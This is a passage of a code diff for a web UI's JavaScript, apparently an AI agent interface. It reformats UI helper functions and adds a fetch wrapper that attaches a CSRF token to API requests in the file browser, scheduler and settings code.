- input.click();
904
-
905
- // When files are selected
906
- input.onchange = async () => {
907
- const files = input.files;
908
- if (!files.length) {
909
- resolve([]); // Return an empty array if no files are selected
910
- return;
911
- }
912
-
913
- // Read each file as a string and store in an array
914
- const filePromises = Array.from(files).map(file => {
915
- return new Promise((fileResolve, fileReject) => {
916
- const reader = new FileReader();
917
- reader.onload = () => fileResolve(reader.result);
918
- reader.onerror = fileReject;
919
- reader.readAsText(file);
920
- });
921
- });
922
-
923
- try {
924
- const fileContents = await Promise.all(filePromises);
925
- resolve(fileContents);
926
- } catch (error) {
927
- reject(error); // In case of any file reading error
928
- }
929
- };
930
- });
922
+ return new Promise((resolve, reject) => {
923
+ // Create an input element of type 'file'
924
+ const input = document.createElement("input");
925
+ input.type = "file";
926
+ input.accept = ".json"; // Only accept JSON files
927
+ input.multiple = true; // Allow multiple file selection
928
+
929
+ // Trigger the file dialog
930
+ input.click();
931
+
932
+ // When files are selected
933
+ input.onchange = async () => {
934
+ const files = input.files;
935
+ if (!files.length) {
936
+ resolve([]); // Return an empty array if no files are selected
937
+ return;
938
+ }
939
+
940
+ // Read each file as a string and store in an array
941
+ const filePromises = Array.from(files).map((file) => {
942
+ return new Promise((fileResolve, fileReject) => {
943
+ const reader = new FileReader();
944
+ reader.onload = () => fileResolve(reader.result);
945
+ reader.onerror = fileReject;
946
+ reader.readAsText(file);
947
+ });
948
+ });
949
+
950
+ try {
951
+ const fileContents = await Promise.all(filePromises);
952
+ resolve(fileContents);
953
+ } catch (error) {
954
+ reject(error); // In case of any file reading error
955
+ }
956
+ };
957
+ });
958
}
959
960
function addClassToElement(element, className) {
934
- element.classList.add(className);
961
+ element.classList.add(className);
962
}
963
964
function removeClassFromElement(element, className) {
938
- element.classList.remove(className);
965
+ element.classList.remove(className);
966
}
967
941
-
942
-function toast(text, type = 'info', timeout = 5000) {
943
- const toast = document.getElementById('toast');
944
- const isVisible = toast.classList.contains('show');
945
-
946
- // Clear any existing timeout immediately
947
- if (toast.timeoutId) {
948
- clearTimeout(toast.timeoutId);
949
- toast.timeoutId = null;
950
- }
951
-
952
- // Function to update toast content and show it
953
- const updateAndShowToast = () => {
954
- // Update the toast content and type
955
- const title = type.charAt(0).toUpperCase() + type.slice(1);
956
- toast.querySelector('.toast__title').textContent = title;
957
- toast.querySelector('.toast__message').textContent = text;
958
-
959
- // Remove old classes and add new ones
960
- toast.classList.remove('toast--success', 'toast--error', 'toast--info');
961
- toast.classList.add(`toast--${type}`);
962
-
963
- // Show/hide copy button based on toast type
964
- const copyButton = toast.querySelector('.toast__copy');
965
- copyButton.style.display = type === 'error' ? 'inline-block' : 'none';
966
-
967
- // Add the close button event listener
968
- const closeButton = document.querySelector('.toast__close');
969
- closeButton.onclick = () => {
970
- hideToast();
971
- };
972
-
973
- // Add the copy button event listener
974
- copyButton.onclick = () => {
975
- navigator.clipboard.writeText(text);
976
- copyButton.textContent = 'Copied!';
977
- setTimeout(() => {
978
- copyButton.textContent = 'Copy';
979
- }, 2000);
980
- };
981
-
982
- // Show the toast
983
- toast.style.display = 'flex';
984
- // Force a reflow to ensure the animation triggers
985
- void toast.offsetWidth;
986
- toast.classList.add('show');
987
-
988
- // Set timeout if specified
989
- if (timeout) {
990
- const minTimeout = Math.max(timeout, 5000);
991
- toast.timeoutId = setTimeout(() => {
992
- hideToast();
993
- }, minTimeout);
994
- }
968
+function toast(text, type = "info", timeout = 5000) {
969
+ const toast = document.getElementById("toast");
970
+ const isVisible = toast.classList.contains("show");
971
+
972
+ // Clear any existing timeout immediately
973
+ if (toast.timeoutId) {
974
+ clearTimeout(toast.timeoutId);
975
+ toast.timeoutId = null;
976
+ }
977
+
978
+ // Function to update toast content and show it
979
+ const updateAndShowToast = () => {
980
+ // Update the toast content and type
981
+ const title = type.charAt(0).toUpperCase() + type.slice(1);
982
+ toast.querySelector(".toast__title").textContent = title;
983
+ toast.querySelector(".toast__message").textContent = text;
984
+
985
+ // Remove old classes and add new ones
986
+ toast.classList.remove("toast--success", "toast--error", "toast--info");
987
+ toast.classList.add(`toast--${type}`);
988
+
989
+ // Show/hide copy button based on toast type
990
+ const copyButton = toast.querySelector(".toast__copy");
991
+ copyButton.style.display = type === "error" ? "inline-block" : "none";
992
+
993
+ // Add the close button event listener
994
+ const closeButton = document.querySelector(".toast__close");
995
+ closeButton.onclick = () => {
996
+ hideToast();
997
};
998
997
- if (isVisible) {
998
- // If a toast is visible, hide it first then show the new one
999
- toast.classList.remove('show');
1000
- toast.classList.add('hide');
1001
-
1002
- // Wait for hide animation to complete before showing new toast
1003
- setTimeout(() => {
1004
- toast.classList.remove('hide');
1005
- updateAndShowToast();
1006
- }, 400); // Match this with CSS transition duration
1007
- } else {
1008
- // If no toast is visible, show the new one immediately
1009
- updateAndShowToast();
1010
- }
1011
-}
1012
-window.toast = toast
999
+ // Add the copy button event listener
1000
+ copyButton.onclick = () => {
1001
+ navigator.clipboard.writeText(text);
1002
+ copyButton.textContent = "Copied!";
1003
+ setTimeout(() => {
1004
+ copyButton.textContent = "Copy";
1005
+ }, 2000);
1006
+ };
1007
1014
-function hideToast() {
1015
- const toast = document.getElementById('toast');
1008
+ // Show the toast
1009
+ toast.style.display = "flex";
1010
+ // Force a reflow to ensure the animation triggers
1011
+ void toast.offsetWidth;
1012
+ toast.classList.add("show");
1013
1017
- // Clear any existing timeout
1018
- if (toast.timeoutId) {
1019
- clearTimeout(toast.timeoutId);
1020
- toast.timeoutId = null;
1014
+ // Set timeout if specified
1015
+ if (timeout) {
1016
+ const minTimeout = Math.max(timeout, 5000);
1017
+ toast.timeoutId = setTimeout(() => {
1018
+ hideToast();
1019
+ }, minTimeout);
1020
}
1021
+ };
1022
1023
- toast.classList.remove('show');
1024
- toast.classList.add('hide');
1023
+ if (isVisible) {
1024
+ // If a toast is visible, hide it first then show the new one
1025
+ toast.classList.remove("show");
1026
+ toast.classList.add("hide");
1027
1026
- // Wait for the hide animation to complete before removing from display
1028
+ // Wait for hide animation to complete before showing new toast
1029
setTimeout(() => {
1028
- toast.style.display = 'none';
1029
- toast.classList.remove('hide');
1030
+ toast.classList.remove("hide");
1031
+ updateAndShowToast();
1032
}, 400); // Match this with CSS transition duration
1033
+ } else {
1034
+ // If no toast is visible, show the new one immediately
1035
+ updateAndShowToast();
1036
+ }
1037
+}
1038
+window.toast = toast;
1039
+
1040
+function hideToast() {
1041
+ const toast = document.getElementById("toast");
1042
+
1043
+ // Clear any existing timeout
1044
+ if (toast.timeoutId) {
1045
+ clearTimeout(toast.timeoutId);
1046
+ toast.timeoutId = null;
1047
+ }
1048
+
1049
+ toast.classList.remove("show");
1050
+ toast.classList.add("hide");
1051
+
1052
+ // Wait for the hide animation to complete before removing from display
1053
+ setTimeout(() => {
1054
+ toast.style.display = "none";
1055
+ toast.classList.remove("hide");
1056
+ }, 400); // Match this with CSS transition duration
1057
}
1058
1059
function scrollChanged(isAtBottom) {
1034
- const inputAS = Alpine.$data(autoScrollSwitch);
1035
- inputAS.autoScroll = isAtBottom
1036
- // autoScrollSwitch.checked = isAtBottom
1060
+ const inputAS = Alpine.$data(autoScrollSwitch);
1061
+ inputAS.autoScroll = isAtBottom;
1062
+ // autoScrollSwitch.checked = isAtBottom
1063
}
1064
1065
function updateAfterScroll() {
1040
- // const toleranceEm = 1; // Tolerance in em units
1041
- // const tolerancePx = toleranceEm * parseFloat(getComputedStyle(document.documentElement).fontSize); // Convert em to pixels
1042
- const tolerancePx = 50;
1043
- const chatHistory = document.getElementById('chat-history');
1044
- const isAtBottom = (chatHistory.scrollHeight - chatHistory.scrollTop) <= (chatHistory.clientHeight + tolerancePx);
1045
-
1046
- scrollChanged(isAtBottom);
1066
+ // const toleranceEm = 1; // Tolerance in em units
1067
+ // const tolerancePx = toleranceEm * parseFloat(getComputedStyle(document.documentElement).fontSize); // Convert em to pixels
1068
+ const tolerancePx = 50;
1069
+ const chatHistory = document.getElementById("chat-history");
1070
+ const isAtBottom =
1071
+ chatHistory.scrollHeight - chatHistory.scrollTop <=
1072
+ chatHistory.clientHeight + tolerancePx;
1073
+
1074
+ scrollChanged(isAtBottom);
1075
}
1076
1049
-chatHistory.addEventListener('scroll', updateAfterScroll);
1077
+chatHistory.addEventListener("scroll", updateAfterScroll);
1078
1051
-chatInput.addEventListener('input', adjustTextareaHeight);
1079
+chatInput.addEventListener("input", adjustTextareaHeight);
1080
1081
// setInterval(poll, 250);
1082
1083
async function startPolling() {
1056
- const shortInterval = 25
1057
- const longInterval = 250
1058
- const shortIntervalPeriod = 100
1059
- let shortIntervalCount = 0
1060
-
1061
- async function _doPoll() {
1062
- let nextInterval = longInterval
1063
-
1064
- try {
1065
- const result = await poll();
1066
- if (result) shortIntervalCount = shortIntervalPeriod; // Reset the counter when the result is true
1067
- if (shortIntervalCount > 0) shortIntervalCount--; // Decrease the counter on each call
1068
- nextInterval = shortIntervalCount > 0 ? shortInterval : longInterval;
1069
- } catch (error) {
1070
- console.error('Error:', error);
1071
- }
1084
+ const shortInterval = 25;
1085
+ const longInterval = 250;
1086
+ const shortIntervalPeriod = 100;
1087
+ let shortIntervalCount = 0;
1088
1073
- // Call the function again after the selected interval
1074
- setTimeout(_doPoll.bind(this), nextInterval);
1089
+ async function _doPoll() {
1090
+ let nextInterval = longInterval;
1091
+
1092
+ try {
1093
+ const result = await poll();
1094
+ if (result) shortIntervalCount = shortIntervalPeriod; // Reset the counter when the result is true
1095
+ if (shortIntervalCount > 0) shortIntervalCount--; // Decrease the counter on each call
1096
+ nextInterval = shortIntervalCount > 0 ? shortInterval : longInterval;
1097
+ } catch (error) {
1098
+ console.error("Error:", error);
1099
}
1100
1077
- _doPoll();
1101
+ // Call the function again after the selected interval
1102
+ setTimeout(_doPoll.bind(this), nextInterval);
1103
+ }
1104
+
1105
+ _doPoll();
1106
}
1107
1108
document.addEventListener("DOMContentLoaded", startPolling);
1109
1082
-document.addEventListener('DOMContentLoaded', () => {
1083
- const dragDropOverlay = document.getElementById('dragdrop-overlay');
1084
- const inputSection = document.getElementById('input-section');
1085
- let dragCounter = 0;
1086
-
1087
- // Prevent default drag behaviors
1088
- ['dragenter', 'dragover', 'dragleave', 'drop'].forEach(eventName => {
1089
- document.addEventListener(eventName, (e) => {
1090
- e.preventDefault();
1091
- e.stopPropagation();
1092
- }, false);
1093
- });
1094
-
1095
- // Handle drag enter
1096
- document.addEventListener('dragenter', (e) => {
1097
- dragCounter++;
1098
- if (dragCounter === 1) {
1099
- Alpine.$data(dragDropOverlay).isVisible = true;
1100
- }
1101
- }, false);
1102
-
1103
- // Handle drag leave
1104
- document.addEventListener('dragleave', (e) => {
1105
- dragCounter--;
1106
- if (dragCounter === 0) {
1107
- Alpine.$data(dragDropOverlay).isVisible = false;
1108
- }
1109
- }, false);
1110
+document.addEventListener("DOMContentLoaded", () => {
1111
+ const dragDropOverlay = document.getElementById("dragdrop-overlay");
1112
+ const inputSection = document.getElementById("input-section");
1113
+ let dragCounter = 0;
1114
1111
- // Handle drop
1112
- dragDropOverlay.addEventListener('drop', (e) => {
1113
- dragCounter = 0;
1115
+ // Prevent default drag behaviors
1116
+ ["dragenter", "dragover", "dragleave", "drop"].forEach((eventName) => {
1117
+ document.addEventListener(
1118
+ eventName,
1119
+ (e) => {
1120
+ e.preventDefault();
1121
+ e.stopPropagation();
1122
+ },
1123
+ false
1124
+ );
1125
+ });
1126
+
1127
+ // Handle drag enter
1128
+ document.addEventListener(
1129
+ "dragenter",
1130
+ (e) => {
1131
+ dragCounter++;
1132
+ if (dragCounter === 1) {
1133
+ Alpine.$data(dragDropOverlay).isVisible = true;
1134
+ }
1135
+ },
1136
+ false
1137
+ );
1138
+
1139
+ // Handle drag leave
1140
+ document.addEventListener(
1141
+ "dragleave",
1142
+ (e) => {
1143
+ dragCounter--;
1144
+ if (dragCounter === 0) {
1145
Alpine.$data(dragDropOverlay).isVisible = false;
1115
-
1116
- const inputAD = Alpine.$data(inputSection);
1117
- const files = e.dataTransfer.files;
1118
- handleFiles(files, inputAD);
1119
- }, false);
1146
+ }
1147
+ },
1148
+ false
1149
+ );
1150
+
1151
+ // Handle drop
1152
+ dragDropOverlay.addEventListener(
1153
+ "drop",
1154
+ (e) => {
1155
+ dragCounter = 0;
1156
+ Alpine.$data(dragDropOverlay).isVisible = false;
1157
+
1158
+ const inputAD = Alpine.$data(inputSection);
1159
+ const files = e.dataTransfer.files;
1160
+ handleFiles(files, inputAD);
1161
+ },
1162
+ false
1163
+ );
1164
});
1165
1166
// Separate file handling logic to be used by both drag-drop and file input
1167
function handleFiles(files, inputAD) {
1124
- Array.from(files).forEach(file => {
1125
- const ext = file.name.split('.').pop().toLowerCase();
1126
-
1127
- const isImage = ['jpg', 'jpeg', 'png', 'bmp'].includes(ext);
1128
-
1129
- if (isImage) {
1130
- const reader = new FileReader();
1131
- reader.onload = e => {
1132
- inputAD.attachments.push({
1133
- file: file,
1134
- url: e.target.result,
1135
- type: 'image',
1136
- name: file.name,
1137
- extension: ext
1138
- });
1139
- inputAD.hasAttachments = true;
1140
- };
1141
- reader.readAsDataURL(file);
1142
- } else {
1143
- inputAD.attachments.push({
1144
- file: file,
1145
- type: 'file',
1146
- name: file.name,
1147
- extension: ext
1148
- });
1149
- inputAD.hasAttachments = true;
1150
- }
1151
-
1152
- });
1168
+ Array.from(files).forEach((file) => {
1169
+ const ext = file.name.split(".").pop().toLowerCase();
1170
+
1171
+ const isImage = ["jpg", "jpeg", "png", "bmp"].includes(ext);
1172
+
1173
+ if (isImage) {
1174
+ const reader = new FileReader();
1175
+ reader.onload = (e) => {
1176
+ inputAD.attachments.push({
1177
+ file: file,
1178
+ url: e.target.result,
1179
+ type: "image",
1180
+ name: file.name,
1181
+ extension: ext,
1182
+ });
1183
+ inputAD.hasAttachments = true;
1184
+ };
1185
+ reader.readAsDataURL(file);
1186
+ } else {
1187
+ inputAD.attachments.push({
1188
+ file: file,
1189
+ type: "file",
1190
+ name: file.name,
1191
+ extension: ext,
1192
+ });
1193
+ inputAD.hasAttachments = true;
1194
+ }
1195
+ });
1196
}
1197
1198
// Modify the existing handleFileUpload to use the new handleFiles function
1156
-window.handleFileUpload = function(event) {
1157
- const files = event.target.files;
1158
- const inputAD = Alpine.$data(inputSection);
1159
- handleFiles(files, inputAD);
1160
-}
1199
+window.handleFileUpload = function (event) {
1200
+ const files = event.target.files;
1201
+ const inputAD = Alpine.$data(inputSection);
1202
+ handleFiles(files, inputAD);
1203
+};
1204
1205
// Setup event handlers once the DOM is fully loaded
1163
-document.addEventListener('DOMContentLoaded', function() {
1164
- setupSidebarToggle();
1165
- setupTabs();
1166
- initializeActiveTab();
1206
+document.addEventListener("DOMContentLoaded", function () {
1207
+ setupSidebarToggle();
1208
+ setupTabs();
1209
+ initializeActiveTab();
1210
});
1211
1212
// Setup tabs functionality
1213
function setupTabs() {
1171
- const chatsTab = document.getElementById('chats-tab');
1172
- const tasksTab = document.getElementById('tasks-tab');
1214
+ const chatsTab = document.getElementById("chats-tab");
1215
+ const tasksTab = document.getElementById("tasks-tab");
1216
1174
- if (chatsTab && tasksTab) {
1175
- chatsTab.addEventListener('click', function() {
1176
- activateTab('chats');
1177
- });
1217
+ if (chatsTab && tasksTab) {
1218
+ chatsTab.addEventListener("click", function () {
1219
+ activateTab("chats");
1220
+ });
1221
1179
- tasksTab.addEventListener('click', function() {
1180
- activateTab('tasks');
1181
- });
1182
- } else {
1183
- console.error('Tab elements not found');
1184
- setTimeout(setupTabs, 100); // Retry setup
1185
- }
1222
+ tasksTab.addEventListener("click", function () {
1223
+ activateTab("tasks");
1224
+ });
1225
+ } else {
1226
+ console.error("Tab elements not found");
1227
+ setTimeout(setupTabs, 100); // Retry setup
1228
+ }
1229
}
1230
1231
function activateTab(tabName) {
1189
- const chatsTab = document.getElementById('chats-tab');
1190
- const tasksTab = document.getElementById('tasks-tab');
1191
- const chatsSection = document.getElementById('chats-section');
1192
- const tasksSection = document.getElementById('tasks-section');
1193
-
1194
- // Get current context to preserve before switching
1195
- const currentContext = context;
1196
-
1197
- // Store the current selection for the active tab before switching
1198
- const previousTab = localStorage.getItem('activeTab');
1199
- if (previousTab === 'chats') {
1200
- localStorage.setItem('lastSelectedChat', currentContext);
1201
- } else if (previousTab === 'tasks') {
1202
- localStorage.setItem('lastSelectedTask', currentContext);
1232
+ const chatsTab = document.getElementById("chats-tab");
1233
+ const tasksTab = document.getElementById("tasks-tab");
1234
+ const chatsSection = document.getElementById("chats-section");
1235
+ const tasksSection = document.getElementById("tasks-section");
1236
+
1237
+ // Get current context to preserve before switching
1238
+ const currentContext = context;
1239
+
1240
+ // Store the current selection for the active tab before switching
1241
+ const previousTab = localStorage.getItem("activeTab");
1242
+ if (previousTab === "chats") {
1243
+ localStorage.setItem("lastSelectedChat", currentContext);
1244
+ } else if (previousTab === "tasks") {
1245
+ localStorage.setItem("lastSelectedTask", currentContext);
1246
+ }
1247
+
1248
+ // Reset all tabs and sections
1249
+ chatsTab.classList.remove("active");
1250
+ tasksTab.classList.remove("active");
1251
+ chatsSection.style.display = "none";
1252
+ tasksSection.style.display = "none";
1253
+
1254
+ // Remember the last active tab in localStorage
1255
+ localStorage.setItem("activeTab", tabName);
1256
+
1257
+ // Activate selected tab and section
1258
+ if (tabName === "chats") {
1259
+ chatsTab.classList.add("active");
1260
+ chatsSection.style.display = "";
1261
+
1262
+ // Get the available contexts from Alpine.js data
1263
+ const chatsAD = Alpine.$data(chatsSection);
1264
+ const availableContexts = chatsAD.contexts || [];
1265
+
1266
+ // Restore previous chat selection
1267
+ const lastSelectedChat = localStorage.getItem("lastSelectedChat");
1268
+
1269
+ // Only switch if:
1270
+ // 1. lastSelectedChat exists AND
1271
+ // 2. It's different from current context AND
1272
+ // 3. The context actually exists in our contexts list OR there are no contexts yet
1273
+ if (
1274
+ lastSelectedChat &&
1275
+ lastSelectedChat !== currentContext &&
1276
+ (availableContexts.some((ctx) => ctx.id === lastSelectedChat) ||
1277
+ availableContexts.length === 0)
1278
+ ) {
1279
+ setContext(lastSelectedChat);
1280
}
1281
+ } else if (tabName === "tasks") {
1282
+ tasksTab.classList.add("active");
1283
+ tasksSection.style.display = "flex";
1284
+ tasksSection.style.flexDirection = "column";
1285
1205
- // Reset all tabs and sections
1206
- chatsTab.classList.remove('active');
1207
- tasksTab.classList.remove('active');
1208
- chatsSection.style.display = 'none';
1209
- tasksSection.style.display = 'none';
1210
-
1211
- // Remember the last active tab in localStorage
1212
- localStorage.setItem('activeTab', tabName);
1213
-
1214
- // Activate selected tab and section
1215
- if (tabName === 'chats') {
1216
- chatsTab.classList.add('active');
1217
- chatsSection.style.display = '';
1218
-
1219
- // Get the available contexts from Alpine.js data
1220
- const chatsAD = Alpine.$data(chatsSection);
1221
- const availableContexts = chatsAD.contexts || [];
1222
-
1223
- // Restore previous chat selection
1224
- const lastSelectedChat = localStorage.getItem('lastSelectedChat');
1225
-
1226
- // Only switch if:
1227
- // 1. lastSelectedChat exists AND
1228
- // 2. It's different from current context AND
1229
- // 3. The context actually exists in our contexts list OR there are no contexts yet
1230
- if (lastSelectedChat &&
1231
- lastSelectedChat !== currentContext &&
1232
- (availableContexts.some(ctx => ctx.id === lastSelectedChat) || availableContexts.length === 0)) {
1233
- setContext(lastSelectedChat);
1234
- }
1235
- } else if (tabName === 'tasks') {
1236
- tasksTab.classList.add('active');
1237
- tasksSection.style.display = 'flex';
1238
- tasksSection.style.flexDirection = 'column';
1239
-
1240
- // Get the available tasks from Alpine.js data
1241
- const tasksAD = Alpine.$data(tasksSection);
1242
- const availableTasks = tasksAD.tasks || [];
1243
-
1244
- // Restore previous task selection
1245
- const lastSelectedTask = localStorage.getItem('lastSelectedTask');
1246
-
1247
- // Only switch if:
1248
- // 1. lastSelectedTask exists AND
1249
- // 2. It's different from current context AND
1250
- // 3. The task actually exists in our tasks list
1251
- if (lastSelectedTask &&
1252
- lastSelectedTask !== currentContext &&
1253
- availableTasks.some(task => task.id === lastSelectedTask)) {
1254
- setContext(lastSelectedTask);
1255
- }
1286
+ // Get the available tasks from Alpine.js data
1287
+ const tasksAD = Alpine.$data(tasksSection);
1288
+ const availableTasks = tasksAD.tasks || [];
1289
+
1290
+ // Restore previous task selection
1291
+ const lastSelectedTask = localStorage.getItem("lastSelectedTask");
1292
+
1293
+ // Only switch if:
1294
+ // 1. lastSelectedTask exists AND
1295
+ // 2. It's different from current context AND
1296
+ // 3. The task actually exists in our tasks list
1297
+ if (
1298
+ lastSelectedTask &&
1299
+ lastSelectedTask !== currentContext &&
1300
+ availableTasks.some((task) => task.id === lastSelectedTask)
1301
+ ) {
1302
+ setContext(lastSelectedTask);
1303
}
1304
+ }
1305
1258
- // Request a poll update
1259
- poll();
1306
+ // Request a poll update
1307
+ poll();
1308
}
1309
1310
// Add function to initialize active tab and selections from localStorage
1311
function initializeActiveTab() {
1264
- // Initialize selection storage if not present
1265
- if (!localStorage.getItem('lastSelectedChat')) {
1266
- localStorage.setItem('lastSelectedChat', '');
1267
- }
1268
- if (!localStorage.getItem('lastSelectedTask')) {
1269
- localStorage.setItem('lastSelectedTask', '');
1270
- }
1271
-
1272
- const activeTab = localStorage.getItem('activeTab') || 'chats';
1273
- activateTab(activeTab);
1312
+ // Initialize selection storage if not present
1313
+ if (!localStorage.getItem("lastSelectedChat")) {
1314
+ localStorage.setItem("lastSelectedChat", "");
1315
+ }
1316
+ if (!localStorage.getItem("lastSelectedTask")) {
1317
+ localStorage.setItem("lastSelectedTask", "");
1318
+ }
1319
+
1320
+ const activeTab = localStorage.getItem("activeTab") || "chats";
1321
+ activateTab(activeTab);
1322
}
1323
1324
/*
@@ -1287,53 +1335,55 @@ function initializeActiveTab() {
1335
1336
// Open the scheduler detail view for a specific task
1337
function openTaskDetail(taskId) {
1290
- // Wait for Alpine.js to be fully loaded
1291
- if (window.Alpine) {
1292
- // Get the settings modal button and click it to ensure all init logic happens
1293
- const settingsButton = document.getElementById('settings');
1294
- if (settingsButton) {
1295
- // Programmatically click the settings button
1296
- settingsButton.click();
1297
-
1298
- // Now get a reference to the modal element
1299
- const modalEl = document.getElementById('settingsModal');
1300
- if (!modalEl) {
1301
- console.error('Settings modal element not found after clicking button');
1302
- return;
1303
- }
1304
-
1305
- // Get the Alpine.js data for the modal
1306
- const modalData = Alpine.$data(modalEl);
1307
-
1308
- // Use a timeout to ensure the modal is fully rendered
1309
- setTimeout(() => {
1310
- // Switch to the scheduler tab first
1311
- modalData.switchTab('scheduler');
1312
-
1313
- // Use another timeout to ensure the scheduler component is initialized
1314
- setTimeout(() => {
1315
- // Get the scheduler component
1316
- const schedulerComponent = document.querySelector('[x-data="schedulerSettings"]');
1317
- if (!schedulerComponent) {
1318
- console.error('Scheduler component not found');
1319
- return;
1320
- }
1321
-
1322
- // Get the Alpine.js data for the scheduler component
1323
- const schedulerData = Alpine.$data(schedulerComponent);
1324
-
1325
- // Show the task detail view for the specific task
1326
- schedulerData.showTaskDetail(taskId);
1327
-
1328
- console.log('Task detail view opened for task:', taskId);
1329
- }, 50); // Give time for the scheduler tab to initialize
1330
- }, 25); // Give time for the modal to render
1331
- } else {
1332
- console.error('Settings button not found');
1333
- }
1338
+ // Wait for Alpine.js to be fully loaded
1339
+ if (window.Alpine) {
1340
+ // Get the settings modal button and click it to ensure all init logic happens
1341
+ const settingsButton = document.getElementById("settings");
1342
+ if (settingsButton) {
1343
+ // Programmatically click the settings button
1344
+ settingsButton.click();
1345
+
1346
+ // Now get a reference to the modal element
1347
+ const modalEl = document.getElementById("settingsModal");
1348
+ if (!modalEl) {
1349
+ console.error("Settings modal element not found after clicking button");
1350
+ return;
1351
+ }
1352
+
1353
+ // Get the Alpine.js data for the modal
1354
+ const modalData = Alpine.$data(modalEl);
1355
+
1356
+ // Use a timeout to ensure the modal is fully rendered
1357
+ setTimeout(() => {
1358
+ // Switch to the scheduler tab first
1359
+ modalData.switchTab("scheduler");
1360
+
1361
+ // Use another timeout to ensure the scheduler component is initialized
1362
+ setTimeout(() => {
1363
+ // Get the scheduler component
1364
+ const schedulerComponent = document.querySelector(
1365
+ '[x-data="schedulerSettings"]'
1366
+ );
1367
+ if (!schedulerComponent) {
1368
+ console.error("Scheduler component not found");
1369
+ return;
1370
+ }
1371
+
1372
+ // Get the Alpine.js data for the scheduler component
1373
+ const schedulerData = Alpine.$data(schedulerComponent);
1374
+
1375
+ // Show the task detail view for the specific task
1376
+ schedulerData.showTaskDetail(taskId);
1377
+
1378
+ console.log("Task detail view opened for task:", taskId);
1379
+ }, 50); // Give time for the scheduler tab to initialize
1380
+ }, 25); // Give time for the modal to render
1381
} else {
1335
- console.error('Alpine.js not loaded');
1382
+ console.error("Settings button not found");
1383
}
1384
+ } else {
1385
+ console.error("Alpine.js not loaded");
1386
+ }
1387
}
1388
1389
// Make the function available globally
webui/js/api.js
+61
-1
@@ -6,11 +6,12 @@
6
* @returns {Promise<any>} The JSON response from the API
7
*/
8
export async function callJsonApi(endpoint, data) {
9
- const response = await fetch(endpoint, {
9
+ const response = await fetchApi(endpoint, {
10
method: "POST",
11
headers: {
12
"Content-Type": "application/json",
13
},
14
+ credentials: "same-origin",
15
body: JSON.stringify(data),
16
});
17
@@ -21,3 +22,62 @@ export async function callJsonApi(endpoint, data) {
22
const jsonResponse = await response.json();
23
return jsonResponse;
24
}
25
+
26
+/**
27
+ * Fetch wrapper for A0 APIs that ensures token exchange
28
+ * Automatically adds CSRF token to request headers
29
+ * @param {string} url - The URL to fetch
30
+ * @param {Object} [request] - The fetch request options
31
+ * @returns {Promise<Response>} The fetch response
32
+ */
33
+export async function fetchApi(url, request) {
34
+ async function _wrap(retry) {
35
+ // get the CSRF token
36
+ const token = await getCsrfToken();
37
+
38
+ // create a new request object if none was provided
39
+ const finalRequest = request || {};
40
+
41
+ // ensure headers object exists
42
+ finalRequest.headers = finalRequest.headers || {};
43
+
44
+ // add the CSRF token to the headers
45
+ finalRequest.headers["X-CSRF-Token"] = token;
46
+
47
+ // perform the fetch with the updated request
48
+ const response = await fetch(url, finalRequest);
49
+
50
+ // check if there was an CSRF error
51
+ if (response.status === 403 && retry) {
52
+ // retry the request with new token
53
+ csrfToken = null;
54
+ return await _wrap(false);
55
+ }
56
+
57
+ // return the response
58
+ return response;
59
+ }
60
+
61
+ // perform the request
62
+ const response = await _wrap(true);
63
+
64
+ // return the response
65
+ return response;
66
+}
67
+
68
+// csrf token stored locally
69
+let csrfToken = null;
70
+
71
+/**
72
+ * Get the CSRF token for API requests
73
+ * Caches the token after first request
74
+ * @returns {Promise<string>} The CSRF token
75
+ */
76
+async function getCsrfToken() {
77
+ if (csrfToken) return csrfToken;
78
+ const response = await fetch("/csrf_token", {
79
+ credentials: "same-origin",
80
+ }).then((r) => r.json());
81
+ csrfToken = response.token;
82
+ return csrfToken;
83
+}
webui/js/file_browser.js
+4
-4
@@ -39,7 +39,7 @@ const fileBrowserModalProxy = {
39
async fetchFiles(path = "") {
40
this.isLoading = true;
41
try {
42
- const response = await fetch(
42
+ const response = await fetchApi(
43
`/get_work_dir_files?path=${encodeURIComponent(path)}`
44
);
45
@@ -113,7 +113,7 @@ const fileBrowserModalProxy = {
113
}
114
115
try {
116
- const response = await fetch("/delete_work_dir_file", {
116
+ const response = await fetchApi("/delete_work_dir_file", {
117
method: "POST",
118
headers: {
119
"Content-Type": "application/json",
@@ -162,7 +162,7 @@ const fileBrowserModalProxy = {
162
}
163
164
// Proceed with upload after validation
165
- const response = await fetch("/upload_work_dir_files", {
165
+ const response = await fetchApi("/upload_work_dir_files", {
166
method: "POST",
167
body: formData,
168
});
@@ -199,7 +199,7 @@ const fileBrowserModalProxy = {
199
file.path
200
)}`;
201
202
- const response = await fetch(downloadUrl);
202
+ const response = await fetchApi(downloadUrl);
203
204
if (!response.ok) {
205
throw new Error("Network response was not ok");
webui/js/scheduler.js
+5
-5
@@ -256,7 +256,7 @@ const fullComponentImplementation = function() {
256
257
this.isLoading = true;
258
try {
259
- const response = await fetch('/scheduler_tasks_list', {
259
+ const response = await fetchApi('/scheduler_tasks_list', {
260
method: 'POST',
261
headers: {
262
'Content-Type': 'application/json'
@@ -784,7 +784,7 @@ const fullComponentImplementation = function() {
784
console.log('Final task data being sent to API:', JSON.stringify(taskData, null, 2));
785
786
// Make API request
787
- const response = await fetch(apiEndpoint, {
787
+ const response = await fetchApi(apiEndpoint, {
788
method: 'POST',
789
headers: {
790
'Content-Type': 'application/json'
@@ -874,7 +874,7 @@ const fullComponentImplementation = function() {
874
// Run a task
875
async runTask(taskId) {
876
try {
877
- const response = await fetch('/scheduler_task_run', {
877
+ const response = await fetchApi('/scheduler_task_run', {
878
method: 'POST',
879
headers: {
880
'Content-Type': 'application/json'
@@ -918,7 +918,7 @@ const fullComponentImplementation = function() {
918
this.showLoadingState = true;
919
920
// Call API to update the task state
921
- const response = await fetch('/scheduler_task_update', {
921
+ const response = await fetchApi('/scheduler_task_update', {
922
method: 'POST',
923
headers: {
924
'Content-Type': 'application/json'
@@ -959,7 +959,7 @@ const fullComponentImplementation = function() {
959
// if we delete selected context, switch to another first
960
switchFromContext(taskId);
961
962
- const response = await fetch('/scheduler_task_delete', {
962
+ const response = await fetchApi('/scheduler_task_delete', {
963
method: 'POST',
964
headers: {
965
'Content-Type': 'application/json'
webui/js/settings.js
+3
-3
@@ -359,7 +359,7 @@ document.addEventListener('alpine:init', function () {
359
async fetchSettings() {
360
try {
361
this.isLoading = true;
362
- const response = await fetch('/api/settings_get', {
362
+ const response = await fetchApi('/api/settings_get', {
363
method: 'POST',
364
headers: {
365
'Content-Type': 'application/json'
@@ -424,7 +424,7 @@ document.addEventListener('alpine:init', function () {
424
}
425
426
// Send request
427
